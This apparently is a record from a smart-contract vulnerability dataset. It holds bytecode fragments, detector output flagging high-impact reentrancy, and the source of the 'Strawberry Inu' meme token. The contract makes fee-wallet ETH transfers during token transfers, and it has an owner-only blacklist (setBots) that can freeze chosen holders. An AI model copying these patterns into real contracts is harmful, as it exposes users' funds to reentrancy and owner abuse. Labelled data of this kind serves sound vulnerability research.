87610f48565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e7957601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a675750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611abd5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ad55750601460179054906101000a900460ff165b15611b4257601554811115611ae957600080fd5b60165481611af684610ced565b611b009190612f76565b1115611b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3890613495565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bea5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c435750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d1157600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cec5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cf557600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611d1c30610ced565b9050611d706064611d62601254611d54601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ced565b611eed90919063ffffffff16565b611f6790919063ffffffff16565b811115611dcc57611dc96064611dbb601254611dad601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ced565b611eed90919063ffffffff16565b611f6790919063ffffffff16565b90505b601460159054906101000a900460ff16158015611e375750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e4f5750601460169054906101000a900460ff165b15611e7757611e5d8161208b565b60004790506000811115611e7557611e7447611fb1565b5b505b505b611e84838383612304565b505050565b6000838311158290611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec891906129d2565b60405180910390fd5b5060008385611ee091906134b5565b9050809150509392505050565b6000808303611eff5760009050611f61565b60008284611f0d91906134e9565b9050828482611f1c9190613572565b14611f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5390613615565b60405180910390fd5b809150505b92915050565b6000611fa983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612314565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612019573d6000803e3d6000fd5b5050565b6000600954821115612064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205b906136a7565b60405180910390fd5b600061206e612377565b90506120838184611f6790919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120c3576120c2612ba8565b5b6040519080825280602002602001820160405280156120f15781602001602082028036833780820191505090505b509050308160008151811061210957612108612fcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121d491906130c4565b816001815181106121e8576121e7612fcc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061224f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461171a565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122b3959493929190613785565b600060405180830381600087803b1580156122cd57600080fd5b505af11580156122e1573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b61230f8383836123a2565b505050565b6000808311829061235b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235291906129d2565b60405180910390fd5b506000838561236a9190613572565b9050809150509392505050565b600080600061238461256d565b9150915061239b8183611f6790919063ffffffff16565b9250505090565b6000806000806000806123b4876125cf565b95509550955095509550955061241286600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266490919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124a785600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ae90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f38161270c565b6124fd84836127c9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161255a9190612b88565b60405180910390a3505050505050505050565b600080600060095490506000686c6b935b8bbd40000090506125a3686c6b935b8bbd400000600954611f6790919063ffffffff16565b8210156125c257600954686c6b935b8bbd4000009350935050506125cb565b81819350935050505b9091565b60008060008060008060008060006125e5612803565b612603576125fe8a600b60020154600b6003015461281a565b612619565b6126188a600b60000154600b6001015461281a565b5b9250925092506000612629612377565b9050600080600061263c8e8787876128b0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126a683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e89565b905092915050565b60008082846126bd9190612f76565b905083811015612702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f99061382b565b60405180910390fd5b8091505092915050565b6000612716612377565b9050600061272d8284611eed90919063ffffffff16565b905061278181600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ae90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127de8260095461266490919063ffffffff16565b6009819055506127f981600a546126ae90919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b6000806000806128466064612838888a611eed90919063ffffffff16565b611f6790919063ffffffff16565b905060006128706064612862888b611eed90919063ffffffff16565b611f6790919063ffffffff16565b905060006128998261288b858c61266490919063ffffffff16565b61266490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128c98589611eed90919063ffffffff16565b905060006128e08689611eed90919063ffffffff16565b905060006128f78789611eed90919063ffffffff16565b9050600061292082612912858761266490919063ffffffff16565b61266490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612973578082015181840152602081019050612958565b83811115612982576000848401525b50505050565b6000601f19601f8301169050919050565b60006129a482612939565b6129ae8185612944565b93506129be818560208601612955565b6129c781612988565b840191505092915050565b600060208201905081810360008301526129ec8184612999565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a3382612a08565b9050919050565b612a4381612a28565b8114612a4e57600080fd5b50565b600081359050612a6081612a3a565b92915050565b6000819050919050565b612a7981612a66565b8114612a8457600080fd5b50565b600081359050612a9681612a70565b92915050565b60008060408385031215612ab357612ab26129fe565b5b6000612ac185828601612a51565b9250506020612ad285828601612a87565b9150509250929050565b60008115159050919050565b612af181612adc565b82525050565b6000602082019050612b0c6000830184612ae8565b92915050565b60008060008060808587031215612b2c57612b2b6129fe565b5b6000612b3a87828801612a87565b9450506020612b4b87828801612a87565b9350506040612b5c87828801612a87565b9250506060612b6d87828801612a87565b91505092959194509250565b612b8281612a66565b82525050565b6000602082019050612b9d6000830184612b79565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612be082612988565b810181811067ffffffffffffffff82111715612bff57612bfe612ba8565b5b80604052505050565b6000612c126129f4565b9050612c1e8282612bd7565b919050565b600067ffffffffffffffff821115612c3e57612c3d612ba8565b5b602082029050602081019050919050565b600080fd5b6000612c67612c6284612c23565b612c08565b90508083825260208201905060208402830185811115612c8a57612c89612c4f565b5b835b81811015612cb35780612c9f8882612a51565b845260208401935050602081019050612c8c565b5050509392505050565b600082601f830112612cd257612cd1612ba3565b5b8135612ce2848260208601612c54565b91505092915050565b600060208284031215612d0157612d006129fe565b5b600082013567ffffffffffffffff811115612d1f57612d1e612a03565b5b612d2b84828501612cbd565b91505092915050565b600080600060608486031215612d4d57612d4c6129fe565b5b6000612d5b86828701612a51565b9350506020612d6c86828701612a51565b9250506040612d7d86828701612a87565b9150509250925092565b600060208284031215612d9d57612d9c6129fe565b5b6000612dab84828501612a51565b91505092915050565b600060ff82169050919050565b612dca81612db4565b82525050565b6000602082019050612de56000830184612dc1565b92915050565b600060208284031215612e0157612e006129fe565b5b6000612e0f84828501612a87565b91505092915050565b612e2181612adc565b8114612e2c57600080fd5b50565b600081359050612e3e81612e18565b92915050565b600060208284031215612e5a57612e596129fe565b5b6000612e6884828501612e2f565b91505092915050565b612e7a81612a28565b82525050565b6000602082019050612e956000830184612e71565b92915050565b60008060408385031215612eb257612eb16129fe565b5b6000612ec085828601612a51565b9250506020612ed185828601612a51565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f11602083612944565b9150612f1c82612edb565b602082019050919050565b60006020820190508181036000830152612f4081612f04565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f8182612a66565b9150612f8c83612a66565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fc157612fc0612f47565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061300682612a66565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361303857613037612f47565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613079601783612944565b915061308482613043565b602082019050919050565b600060208201905081810360008301526130a88161306c565b9050919050565b6000815190506130be81612a3a565b92915050565b6000602082840312156130da576130d96129fe565b5b60006130e8848285016130af565b91505092915050565b60006040820190506131066000830185612e71565b6131136020830184612e71565b9392505050565b6000819050919050565b6000819050919050565b600061314961314461313f8461311a565b613124565b612a66565b9050919050565b6131598161312e565b82525050565b600060c0820190506131746000830189612e71565b6131816020830188612b79565b61318e6040830187613150565b61319b6060830186613150565b6131a86080830185612e71565b6131b560a0830184612b79565b979650505050505050565b6000815190506131cf81612a70565b92915050565b6000806000606084860312156131ee576131ed6129fe565b5b60006131fc868287016131c0565b935050602061320d868287016131c0565b925050604061321e868287016131c0565b9150509250925092565b600060408201905061323d6000830185612e71565b61324a6020830184612b79565b9392505050565b60008151905061326081612e18565b92915050565b60006020828403121561327c5761327b6129fe565b5b600061328a84828501613251565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132ef602483612944565b91506132fa82613293565b604082019050919050565b6000602082019050818103600083015261331e816132e2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613381602283612944565b915061338c82613325565b604082019050919050565b600060208201905081810360008301526133b081613374565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613413602983612944565b915061341e826133b7565b604082019050919050565b6000602082019050818103600083015261344281613406565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061347f601a83612944565b915061348a82613449565b602082019050919050565b600060208201905081810360008301526134ae81613472565b9050919050565b60006134c082612a66565b91506134cb83612a66565b9250828210156134de576134dd612f47565b5b828203905092915050565b60006134f482612a66565b91506134ff83612a66565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561353857613537612f47565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061357d82612a66565b915061358883612a66565b92508261359857613597613543565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135ff602183612944565b915061360a826135a3565b604082019050919050565b6000602082019050818103600083015261362e816135f2565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613691602a83612944565b915061369c82613635565b604082019050919050565b600060208201905081810360008301526136c081613684565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136fc81612a28565b82525050565b600061370e83836136f3565b60208301905092915050565b6000602082019050919050565b6000613732826136c7565b61373c81856136d2565b9350613747836136e3565b8060005b8381101561377857815161375f8882613702565b975061376a8361371a565b92505060018101905061374b565b5085935050505092915050565b600060a08201905061379a6000830188612b79565b6137a76020830187613150565b81810360408301526137b98186613727565b90506137c86060830185612e71565b6137d56080830184612b79565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613815601b83612944565b9150613820826137df565b602082019050919050565b6000602082019050818103600083015261384481613808565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f86a6bf5c1aa8d93fe245d6801b6d8a19ca223dd7936e7c0aa9f9162b934e31864736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
22
0x36ae0099755ab01421be232fceed1a0dbe5a04fb
/** *Submitted for verification at Etherscan.io on 2021-07-12 */ /* Strawberry Inu ^-^ Join our telegram! t.me/strawberryinu Follow our twitter: twitter.com/StrawberryInuS Last but not least, check out our website: StrawberryInu.com */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract STRAWBERRY is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Strawberry Inu"; string private constant _symbol = '🍓Inu️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 4; uint256 private _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b8